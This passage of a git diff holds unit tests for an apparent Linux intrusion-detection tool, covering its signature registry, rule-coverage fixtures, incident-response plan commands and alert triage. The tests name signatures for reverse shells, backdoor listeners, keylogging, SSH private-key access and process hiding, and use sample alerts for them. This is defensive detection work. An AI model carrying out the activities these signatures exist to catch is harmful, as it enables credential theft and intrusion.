mismatch /usr/bin/ssh", + "pids": []}, + ], + "processes": [], + })) + self.cfg.dashboard_url = "https://100.64.0.2:8787/" + plan = respond.build_plan(respond.load_bundle(self.cfg, iid), self.cfg) + commands = [a["command"] for a in plan["actions"]] + self.assertIn(["enodia-sentinel", "fim-check", "--packages"], commands) + self.assertIn(["enodia-sentinel", "pkgdb-verify"], commands) + self.assertIn(["pacman", "-Qo", "/usr/bin/ssh"], commands) + self.assertIn(["enodia-sentinel", "watchdog", "--url", + "https://100.64.0.2:8787", "--token", "", + "--insecure-tls"], commands) + def test_cli_json(self): os.environ["ENODIA_LOG_DIR"] = str(self.tmp) try: diff --git a/tests/test_schema_contracts.py b/tests/test_schema_contracts.py index a1afa46..3d0e128 100644 --- a/tests/test_schema_contracts.py +++ b/tests/test_schema_contracts.py @@ -111,6 +111,7 @@ class TestSchemaContracts(unittest.TestCase): "incident_id": str, "alerts": list, "processes": list, + "enrichment": dict, }) self.assertEqual(data["alerts"][0]["signature"], "reverse_shell") diff --git a/tests/test_sid_coverage.py b/tests/test_sid_coverage.py new file mode 100644 index 0000000..fee6755 --- /dev/null +++ b/tests/test_sid_coverage.py @@ -0,0 +1,73 @@ +# SPDX-License-Identifier: GPL-3.0-or-later +"""Emission-based coverage: every built-in SID has a fixture or drill. + +Event-rule SIDs are covered by JSON fixtures under tests/fixtures/sids/ +(replayable by operators via `enodia-sentinel rules test `); the other +engines are covered by drills in tests/sid_drills.py. This module replays +and runs all of them for real and asserts the emitted sids match the +registry in enodia_sentinel.sids. +""" +import json +import unittest +from pathlib import Path + +from enodia_sentinel import ruleops, sids +from enodia_sentinel.config import Config +from tests.sid_drills import DRILLS + +FIXTURE_DIR = Path(__file__).resolve().parent / "fixtures" / "sids" + + +def fixture_sids() -> dict[int, set[int]]: + """Replay every fixture; map declared sid to sids actually emitted.""" + out: dict[int, set[int]] = {} + for path in sorted(FIXTURE_DIR.glob("*.json")): + declared = int(path.name.split("-", 1)[0]) + event = json.loads(path.read_text()) + alerts = ruleops.test_event(Config(), event) + out[declared] = {a.sid for a in alerts} + return out + + +class TestEventFixtures(unittest.TestCase): + def test_every_event_rule_sid_has_an_emitting_fixture(self): + covered = fixture_sids() + wanted = sids.engine_sids("exec_rule") | sids.engine_sids("syscall_rule") + for sid in sorted(wanted): + self.assertIn(sid, covered, + f"no fixture file for sid {sid} in {FIXTURE_DIR}") + self.assertIn(sid, covered[sid], + f"fixture for sid {sid} did not emit it") + + def test_fixtures_emit_only_registered_sids(self): + registry = sids.all_sids() + for declared, emitted in fixture_sids().items(): + self.assertLessEqual(emitted, registry, + f"fixture {declared} emitted unregistered sids") + + +def drill_sids() -> dict[int, set[int]]: + """Run every non-event drill; map declared sid to sids emitted.""" + return {sid: {a.sid for a in drill()} for sid, drill in sorted(DRILLS.items())} + + +class TestSidCoverageGate(unittest.TestCase): + def test_every_non_event_sid_has_an_emitting_drill(self): + covered = drill_sids() + event_sids = sids.engine_sids("exec_rule") | sids.engine_sids("syscall_rule") + wanted = sids.all_sids() - event_sids + self.assertEqual(set(covered), wanted) + for sid in sorted(wanted): + self.assertIn(sid, covered[sid], f"drill for sid {sid} did not emit it") + + def test_fixtures_and_drills_equal_registry(self): + emitted = set() + for sids_for_fixture in fixture_sids().values(): + emitted.update(sids_for_fixture) + for sids_for_drill in drill_sids().values(): + emitted.update(sids_for_drill) + self.assertEqual(emitted, sids.all_sids()) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_sids.py b/tests/test_sids.py new file mode 100644 index 0000000..6ea201a --- /dev/null +++ b/tests/test_sids.py @@ -0,0 +1,63 @@ +# SPDX-License-Identifier: GPL-3.0-or-later +"""The SID registry is unique, complete, and matches the engine sources.""" +import unittest + +from enodia_sentinel import fim, pkgdb, posture, rootcheck, sids +from enodia_sentinel.detectors import ( + credential_access, + input_snooper, + memory_obfuscation, + stealth_network, +) +from enodia_sentinel.events.rules import DEFAULT_EXEC_RULES +from enodia_sentinel.events.syscall_rules import DEFAULT_SYSCALL_RULES + + +class TestRegistry(unittest.TestCase): + def test_sids_are_unique(self): + nums = [s.sid for s in sids.BUILTIN_SIDS] + self.assertEqual(len(nums), len(set(nums))) + + def test_count_and_helpers(self): + self.assertEqual(len(sids.BUILTIN_SIDS), 52) + self.assertEqual( + sids.all_sids(), frozenset(s.sid for s in sids.BUILTIN_SIDS) + ) + self.assertEqual( + sids.engine_sids("exec_rule"), + frozenset({100001, 100002, 100003, 100004}), + ) + + def test_event_rule_sids_match_engines(self): + self.assertEqual( + sids.engine_sids("exec_rule"), + frozenset(r.sid for r in DEFAULT_EXEC_RULES), + ) + self.assertEqual( + sids.engine_sids("syscall_rule"), + frozenset(r.sid for r in DEFAULT_SYSCALL_RULES), + ) + + def test_registry_uses_the_source_constants(self): + by_sid = {s.sid: s for s in sids.BUILTIN_SIDS} + for const, engine in ( + (fim.SID_MODIFIED, "fim"), + (pkgdb.SID_PKGDB, "pkgdb"), + (rootcheck.SID_HIDDEN_PROC, "rootcheck"), + (posture.SID_SSH_ROOT_LOGIN, "posture"), + (input_snooper.SID_INPUT_SNOOPER, "detector"), + (credential_access.SID_CREDENTIAL_ACCESS, "detector"), + (stealth_network.SID_STEALTH_NETWORK, "detector"), + (memory_obfuscation.SID_PROCESS_HIDING_LIBRARY, "detector"), + ): + self.assertIn(const, by_sid) + self.assertEqual(by_sid[const].engine, engine) + + def test_every_entry_has_name_and_module(self): + for entry in sids.BUILTIN_SIDS: + self.assertTrue(entry.name) + self.assertTrue(entry.module.startswith("enodia_sentinel")) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_triage.py b/tests/test_triage.py index 91cf9cf..8c77a50 100644 --- a/tests/test_triage.py +++ b/tests/test_triage.py @@ -17,11 +17,15 @@ NONE = lambda p: False class TestNewListener(unittest.TestCase): def test_package_owned_is_fp(self): a = alert("new_listener", "new listening socket 1.2.3.4:6881 by comm=qbittorrent", - pids=(50,)) + pids=(50,), sid=100013) + a["classtype"] = "backdoor-listener" procs = [{"pid": 50, "exe": "/usr/bin/qbittorrent"}] v = triage_alert(a, procs, Config(), is_owned=OWNED) self.assertEqual(v.label, LIKELY_FP) - self.assertIn("qbittorrent", v.suggest) + self.assertIn("listener_allow_comms", v.suggest) + self.assertIn('"qbittorrent"', v.suggest) + self.assertIn("sid=100013", v.suggest) + self.assertIn("classtype=backdoor-listener", v.suggest) def test_loopback_is_fp(self): a = alert("new_listener", "new listening socket 127.0.0.1:9000 by comm=foo") @@ -38,7 +42,9 @@ class TestNewListener(unittest.TestCase): a = alert("new_listener", "new listening socket 9.9.9.9:31337 by comm=weird", pids=(77,)) procs = [{"pid": 77, "exe": "/tmp/weird"}] - self.assertEqual(triage_alert(a, procs, Config(), is_owned=NONE).label, REVIEW) + v = triage_alert(a, procs, Config(), is_owned=NONE) + self.assertEqual(v.label, REVIEW) + self.assertIn("listener_allow_comms", v.suggest) class TestOtherSignatures(unittest.TestCase): @@ -68,6 +74,44 @@ class TestOtherSignatures(unittest.TestCase): a = alert("exec_rule.fileless-execution", "sid=100001 ...") self.assertEqual(triage_alert(a, [], Config(), is_owned=OWNED).label, REVIEW) + def test_input_snooper_suggests_comm_allowlist_with_context(self): + a = alert("input_snooper", + "pid=12 comm=input-remapper fd=7 has input device open: /dev/input/event0", + sid=100032) + a["classtype"] = "credential-keylogging" + v = triage_alert(a, [], Config(), is_owned=NONE) + self.assertEqual(v.label, REVIEW) + self.assertIn("input_snooper_allow_comms", v.suggest) + self.assertIn('"input-remapper"', v.suggest) + self.assertIn("sid=100032", v.suggest) + + def test_credential_access_suggests_comm_allowlist(self): + a = alert("credential_access", + "pid=22 comm=backupd fd=3 has private SSH key open: /home/a/.ssh/id_ed25519", + sid=100033) + v = triage_alert(a, [], Config(), is_owned=NONE) + self.assertEqual(v.label, REVIEW) + self.assertIn("credential_access_allow_comms", v.suggest) + self.assertIn('"backupd"', v.suggest) + + def test_stealth_network_suggests_comm_allowlist(self): + a = alert("stealth_network", + "raw socket state=UNCONN local=0.0.0.0:* peer=*:* comm=tcpdump pid=5", + sid=100036) + v = triage_alert(a, [], Config(), is_owned=NONE) + self.assertEqual(v.label, REVIEW) + self.assertIn("stealth_network_allow_comms", v.suggest) + self.assertIn('"tcpdump"', v.suggest) + + def test_memory_obfuscation_suggests_comm_allowlist(self): + a = alert("memory_obfuscation", + "pid=44 comm=jit-runtime writable+executable memory mapping perms=rwxp path=", + sid=100039) + v = triage_alert(a, [], Config(), is_owned=NONE) + self.assertEqual(v.label, REVIEW) + self.assertIn("memory_obfuscation_allow_comms", v.suggest) + self.assertIn('"jit-runtime"', v.suggest) + if __name__ == "__main__": unittest.main()